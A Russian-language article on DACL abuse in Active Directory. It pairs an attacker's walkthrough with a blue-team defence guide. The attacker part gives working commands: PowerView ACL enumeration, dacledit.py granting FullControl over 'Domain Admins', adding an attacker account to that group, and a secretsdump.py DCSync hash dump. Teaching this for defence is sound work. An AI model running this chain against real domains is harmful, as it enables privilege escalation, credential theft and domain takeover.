March 15, 2025

DACL-атаки в Active Directory - комплексный анализ методов атаки и защиты

DACL (Discretionary Access Control List) атаки представляют собой серьезную угрозу для безопасности Active Directory (AD). Эти атаки позволяют злоумышленникам использовать неправильно настроенные списки контроля доступа для повышения привилегий и получения несанкционированного доступа к критическим ресурсам сети.😳

1. Основы DACL в Active Directory

1.1 Что такое DACL (Discretionary Access Control List) - это список, определяющий, какие субъекты безопасности (пользователи, группы) имеют доступ к объекту и какие действия они могут выполнять. DACL состоит из ACE (Access Control Entries), каждая из которых определяет права доступа для конкретного субъекта.
1.2 Роль DACL в безопасности AD DACL играют ключевую роль в обеспечении безопасности AD, контролируя доступ к объектам, таким как пользователи, группы, компьютеры и другие ресурсы. Неправильно настроенные DACL могут привести к серьезным нарушениям безопасности.
1.3 Типы ACE

ACE (Access Control Entries) - это отдельные записи в DACL, определяющие права доступа. Основные типы ACE включают:

  • ACCESS_ALLOWED_ACE: Предоставляет разрешение на определенные действия.
  • ACCESS_DENIED_ACE: Явно запрещает определенные действия.
  • SYSTEM_AUDIT_ACE: Определяет, какие действия должны быть зарегистрированы в журнале аудита безопасности.
  • ACCESS_ALLOWED_OBJECT_ACE: Специфичный для AD тип, позволяющий более детально контролировать доступ к свойствам объектов.

"Объектно-специфичные ACE используются только в Active Directory. В дополнение к членам структуры обычных ACE, объектно-специфичные ACE содержат дополнительные поля, такие как ObjectType (GUID, содержащий тип дочернего объекта, набор свойств или свойство, расширенное право или проверенную запись) и InheritedObjectType (указывает тип дочернего объекта, который может наследовать ACE)."


2. Практический гайд для атакующего

2.1 Инструменты для обнаружения и эксплуатации DACL-уязвимостей:

BloodHound: Визуализация и анализ путей атак в AD
PowerView: Мощный инструмент для перечисления AD
ADACLScanner: Сканирование и анализ DACL объектов AD
Adalanche: Построение графов атак на основе DACL
StandIn: Инструмент для эксплуатации DACL-уязвимостей
Impacket: Набор инструментов для работы с сетевыми протоколами
PowerSploit: Фреймворк для пост-эксплуатации Windows
SharpHound: Сборщик данных для BloodHound
dacledit.py: Инструмент для анализа и модификации DACL

a) Перечисление DACL:

  • Использование PowerView для получения ACL объектов:

Get-DomainObjectAcl -Identity "CN=Administrator,CN=Users,DC=domain,DC=com" -ResolveGUIDs

  • Применение ADACLScanner для массового сканирования DACL:

.\ADACLScan.ps1 -Base "DC=domain,DC=com" -Output CSV -Filename "acl_scan_results.csv"

  • Использование dacledit.py для анализа DACL конкретных объектов:

python3 dacledit.py -principal user -target "CN=Administrators,CN=Builtin,DC=domain,DC=com" -dc-ip 10.10.10.10 domain.com/user:password

2.2 Техники атаки:
a) Перечисление DACL:
Использование PowerView для получения ACL объектов
Применение ADACLScanner для массового сканирования DACL
Использование dacledit.py для анализа DACL конкретных объектов
b) Анализ путей атак: Загрузка данных в BloodHound
Использование Adalanche для построения графов атак
Анализ выходных данных dacledit.py для выявления уязвимостей
c) Эксплуатация уязвимостей (Неправильно настроенные DACL):

  • WriteDACL: Позволяет изменять DACL целевого объекта, что может быть использовано для предоставления дополнительных прав.
  • WriteOwner: Дает возможность изменить владельца объекта, что часто позволяет получить полный контроль над объектом.
  • GenericAll: Предоставляет полный контроль над объектом, включая возможность изменения его атрибутов и DACL.
  • WriteProperty: Позволяет изменять определенные атрибуты объекта, что может быть использовано, например, для изменения членства в группах.
  • ForceChangePassword: Дает возможность принудительно изменить пароль пользователя без знания текущего пароля.
  • AddMembers: Позволяет добавлять пользователей в группы, что может быть использовано для повышения привилегий.


d) Повышение привилегий:

  • Добавление пользователя в привилегированную группу (например, "Domain Admins") с использованием прав GenericAll или WriteProperty.
  • Сброс пароля целевой учетной записи с высокими привилегиями с помощью права ForceChangePassword.
  • Использование делегирования Kerberos для получения доступа к ресурсам от имени привилегированного пользователя.
  • Применение техники Shadow Credentials для получения доступа к учетным записям путем манипуляции с атрибутом msDS-KeyCredentialLink.


2.3 Пример атаки в полевых условиях:

Первичный доступ: Получение учетных данных рядового пользователя
Перечисление: Использование PowerView и BloodHound для анализа DACL

Import-Module .\PowerView.ps1 Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}


Обнаружение уязвимости: Нахождение объекта с WriteDACL для группы "Domain Admins"
Эксплуатация: Изменение DACL для добавления контроля над группой

python3 dacledit.py -action write -principal attacker -target "CN=Domain Admins,CN=Users,DC=domain,DC=com" -rights FullControl -dc-ip 10.10.10.10 domain.com/compromised_user:password


Повышение привилегий: Добавление своей учетной записи в группу "Domain Admins"

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker' -Verbose
Использование привилегий Domain Admin для полного контроля над AD, например, выполнение DCSync атаки:

secretsdump.py domain.com/attacker:password@10.10.10.10 -just-dc-ntlm

3. Гайд для Blue Team

3.1 Инструменты для обнаружения и предотвращения DACL-атак:

  • Microsoft Advanced Threat Analytics (ATA): Анализирует поведение пользователей и сущностей для выявления подозрительной активности.
  • Varonis DatAdvantage: Предоставляет детальную визуализацию и аудит прав доступа в AD.
  • Tenable.ad: Специализированное решение для непрерывного мониторинга безопасности AD.
  • PingCastle: Инструмент для оценки уровня безопасности AD, включая анализ DACL.
  • Purple Knight: Бесплатный инструмент для аудита безопасности AD.
  • Active Directory ACL Scanner: Позволяет сканировать и анализировать DACL в AD.
  • Microsoft Defender for Identity: Использует сигналы AD для обнаружения продвинутых угроз.
  • Splunk для мониторинга событий AD: Позволяет собирать и анализировать логи событий AD для выявления аномалий.
    3.2 Техники защиты:

a) Аудит и мониторинг: Регулярное сканирование DACL с помощью ADACLScanner Настройка аудита изменений DACL в групповых политиках Мониторинг подозрительных изменений DACL с помощью SIEM
Отслеживание событий ID 5136 и 4662 для обнаружения изменений DACL b) Ограничение прав: Применение принципа наименьших привилегий
Использование Protected Users group для критических учетных записей Ограничение делегирования Kerberos
Минимизация использования учетных записей с высокими привилегиями
c) Hardening AD: Регулярное обновление систем и приложений
Применение рекомендаций Microsoft по безопасности AD Использование LAPS для управления локальными админ паролями
Внедрение многофакторной аутентификации
Сегментация сети и изоляция критических систем
d) Реагирование на инциденты:
Разработка плана реагирования на DACL-атаки
Подготовка скриптов для быстрого восстановления корректных DACL
Тренировки по обнаружению и нейтрализации DACL-атак
Создание процедур для быстрого отзыва скомпрометированных учетных данных

Заключение
DACL-атаки представляют собой серьезную угрозу для безопасности Active Directory. Атакующие могут использовать различные инструменты и техники для эксплуатации уязвимостей в конфигурации DACL, что потенциально может привести к полному захвату домена. Blue Team должна применять комплексный подход к защите, включающий регулярный аудит, мониторинг, ограничение прав и быстрое реагирование на инциденты. Важно понимать, что безопасность AD - это непрерывный процесс, требующий постоянного внимания и адаптации к новым угрозам.